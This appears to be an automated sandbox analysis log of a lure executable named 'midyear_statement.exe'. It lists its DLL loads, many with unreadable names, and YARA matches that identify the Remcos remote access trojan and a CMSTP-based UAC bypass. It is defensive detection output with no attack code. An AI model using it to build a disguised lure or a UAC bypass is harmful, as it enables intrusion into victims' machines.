Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??????s.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??????s.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??????s.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Section loaded: ??.dll	Jump to behavior

Source: midyear_statement.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 24.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 24.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 24.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 33.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 33.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 33.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 31.2.wkrriuhD.pif.590000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 31.2.wkrriuhD.pif.590000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 31.2.wkrriuhD.pif.590000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 24.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 24.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 24.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 33.2.wkrriuhD.pif.590000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 33.2.wkrriuhD.pif.590000.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 33.2.wkrriuhD.pif.590000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 31.2.wkrriuhD.pif.5919e2.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
